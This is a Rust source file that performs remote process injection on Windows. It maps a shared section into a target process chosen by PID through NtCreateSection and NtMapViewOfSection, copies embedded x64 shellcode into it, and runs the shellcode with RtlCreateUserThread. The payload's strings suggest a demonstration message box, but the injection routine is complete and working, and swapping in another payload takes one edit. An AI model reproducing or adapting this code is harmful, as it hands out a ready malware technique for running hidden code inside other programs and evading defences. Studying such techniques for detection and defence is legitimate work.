/*
    Code Injection Using NtCreateSection + NtMapViewOfSection + RtlCreateUserThread.
    By @5mukx
*/

use std::ffi::c_void;
use std::io::Error;
use std::process::exit;
use std::ptr::null_mut;
use winapi::shared::basetsd::SIZE_T;
use winapi::shared::minwindef::{DWORD, ULONG};
use winapi::shared::ntdef::{LARGE_INTEGER, NTSTATUS};
use winapi::um::handleapi::CloseHandle;
use winapi::um::libloaderapi::{GetModuleHandleA, GetProcAddress};
use winapi::um::processthreadsapi::{GetCurrentProcess, OpenProcess};
use winapi::um::winnt::{
    HANDLE, PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE, PAGE_READWRITE, PROCESS_ALL_ACCESS,
    SEC_COMMIT,
};

#[repr(C)]
#[allow(non_snake_case)]
struct UNICODESTRING {
    Length: u16,
    MaximumLength: u16,
    Buffer: *mut u16,
}

#[repr(C)]
#[allow(non_snake_case)]
struct OBJECTATTRIBUTES {
    Length: ULONG,
    RootDirectory: HANDLE,
    ObjectName: *mut UNICODESTRING,
    Attributes: ULONG,
    SecurityDescriptor: *mut c_void,
    SecurityQualityOfService: *mut c_void,
}

type MyNtCreateSection = unsafe extern "system" fn(
    section_handle: *mut HANDLE,
    desired_access: ULONG,
    object_attributes: *mut OBJECTATTRIBUTES, /*OBJECT_ATTRIBUTES*/
    maximum_size: *mut LARGE_INTEGER,
    page_attributes: ULONG,
    section_attributes: ULONG,
    file_handle: HANDLE,
) -> NTSTATUS;

type MyNtMapViewOfSection = unsafe extern "system" fn(
    section_handle: HANDLE,
    process_handle: HANDLE,
    base_address: *mut *mut c_void,
    zero_bits: usize,
    commit_size: SIZE_T,
    section_offset: *mut LARGE_INTEGER,
    view_size: *mut SIZE_T,
    inherit_disposition: DWORD,
    allocation_type: ULONG,
    win32_protect: ULONG,
) -> NTSTATUS;

type MyRtlCreateUserThread = unsafe extern "system" fn(
    process_handle: HANDLE,
    security_descriptor: *mut c_void,
    create_suspended: bool,
    stack_zero_bits: ULONG,
    stack_reserved: *mut ULONG,
    stack_commit: *mut ULONG,
    start_address: *mut c_void,
    start_parameter: *mut c_void,
    thread_handle: *mut HANDLE,
    client_id: *mut CLIENTID,
) -> NTSTATUS;

#[repr(C)]
#[allow(non_snake_case)]
struct CLIENTID {
    UniqueProcess: *mut c_void,
    UniqueThread: *mut c_void,
}

fn main() {
    let args: Vec<String> = std::env::args().collect();

    if args.len() != 2 {
        println!("Usage: process.exe <PID>");
        exit(1);
    }

    let target_pid = args[1].parse::<u32>().expect("Enter Valid PID");

    let shellcode: [u8; 328] = [
        0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x00, 0x00, 0x00, 0x41, 0x51,
        0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48,
        0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48,
        0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02,
        0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x3e,
        0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x3e, 0x8b, 0x80, 0x88,
        0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x6f, 0x48, 0x01, 0xd0, 0x50, 0x3e, 0x8b, 0x48,
        0x18, 0x3e, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
        0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41,
        0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x3e, 0x4c, 0x03, 0x4c, 0x24,
        0x08, 0x45, 0x39, 0xd1, 0x75, 0xd6, 0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
        0x66, 0x3e, 0x41, 0x8b, 0x0c, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x3e,
        0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41,
        0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
        0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12, 0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x3e, 0x48, 0x8d,
        0x8d, 0x30, 0x01, 0x00, 0x00, 0x41, 0xba, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0x49, 0xc7,
        0xc1, 0x00, 0x00, 0x00, 0x00, 0x3e, 0x48, 0x8d, 0x95, 0x0e, 0x01, 0x00, 0x00, 0x3e, 0x4c,
        0x8d, 0x85, 0x24, 0x01, 0x00, 0x00, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83, 0x56, 0x07,
        0xff, 0xd5, 0x48, 0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5, 0x48, 0x65,
        0x79, 0x20, 0x6d, 0x61, 0x6e, 0x2e, 0x20, 0x49, 0x74, 0x73, 0x20, 0x6d, 0x65, 0x20, 0x53,
        0x6d, 0x75, 0x6b, 0x78, 0x00, 0x6b, 0x6e, 0x6f, 0x63, 0x6b, 0x2d, 0x6b, 0x6e, 0x6f, 0x63,
        0x6b, 0x00, 0x75, 0x73, 0x65, 0x72, 0x33, 0x32, 0x2e, 0x64, 0x6c, 0x6c, 0x00,
    ];

    unsafe {
        let h_ntdll = GetModuleHandleA(b"ntdll.dll\0".as_ptr() as *const i8);
        if h_ntdll.is_null() {
            eprintln!("Failed to load ntdll.dll: {:?}", Error::last_os_error());
            exit(1);
        }

        let nt_create_section: MyNtCreateSection = std::mem::transmute(GetProcAddress(
            h_ntdll,
            b"NtCreateSection\0".as_ptr() as *const i8,
        ));
        let nt_map_view_of_section: MyNtMapViewOfSection = std::mem::transmute(GetProcAddress(
            h_ntdll,
            b"NtMapViewOfSection\0".as_ptr() as *const i8,
        ));
        let rtl_create_user_thread: MyRtlCreateUserThread = std::mem::transmute(GetProcAddress(
            h_ntdll,
            b"RtlCreateUserThread\0".as_ptr() as *const i8,
        ));

        // section creation setup
        let mut section_handle: HANDLE = null_mut();

        let mut section_size: LARGE_INTEGER = std::mem::zeroed();
        *section_size.QuadPart_mut() = 4096 as i64;

        let desired_access = winapi::um::winnt::SECTION_MAP_READ
            | winapi::um::winnt::SECTION_MAP_WRITE
            | winapi::um::winnt::SECTION_MAP_EXECUTE;

        let status = nt_create_section(
            &mut section_handle,
            desired_access,
            null_mut(),
            &section_size as *const _ as *mut LARGE_INTEGER,
            PAGE_EXECUTE_READWRITE,
            SEC_COMMIT,
            null_mut(),
        );

        if status < 0 {
            eprintln!("[-] NtCreateSection failed with status: {:X}", status);
            exit(1);
        }

        let mut local_section_address: *mut c_void = null_mut();
        let mut view_size = 4096;

        let status = nt_map_view_of_section(
            section_handle,
            GetCurrentProcess(),
            &mut local_section_address,
            0,
            0,
            null_mut(),
            &mut view_size,
            2,
            0,
            PAGE_READWRITE,
        );

        if status < 0 {
            eprintln!(
                "NtMapViewOfSection (local) failed with status: {:X}",
                status
            );
            exit(1);
        }

        // create a view of the section in the target process
        let target_handle = OpenProcess(PROCESS_ALL_ACCESS, 0, target_pid);
        if target_handle.is_null() {
            eprintln!("OpenProcess failed: {:?}", Error::last_os_error());
            exit(1);
        }

        let mut remote_section_address: *mut c_void = null_mut();
        let status = nt_map_view_of_section(
            section_handle,
            target_handle,
            &mut remote_section_address,
            0,
            0,
            null_mut(),
            &mut view_size,
            2,
            0,
            PAGE_EXECUTE_READ,
        );
        if status < 0 {
            eprintln!(
                "NtMapViewOfSection (remote) failed with status: {:X}",
                status
            );
            CloseHandle(target_handle);
            exit(1);
        }

        std::ptr::copy_nonoverlapping(
            shellcode.as_ptr(),
            local_section_address as *mut u8,
            shellcode.len(),
        );

        let mut target_thread_handle: HANDLE = null_mut();
        let status = rtl_create_user_thread(
            target_handle,
            null_mut(),
            false,
            0,
            null_mut(),
            null_mut(),
            remote_section_address,
            null_mut(),
            &mut target_thread_handle,
            null_mut(),
        );
        if status < 0 {
            eprintln!("RtlCreateUserThread failed with status: {:X}", status);
        }

        CloseHandle(target_handle);
        if !target_thread_handle.is_null() {
            CloseHandle(target_thread_handle);
        }
    }
}
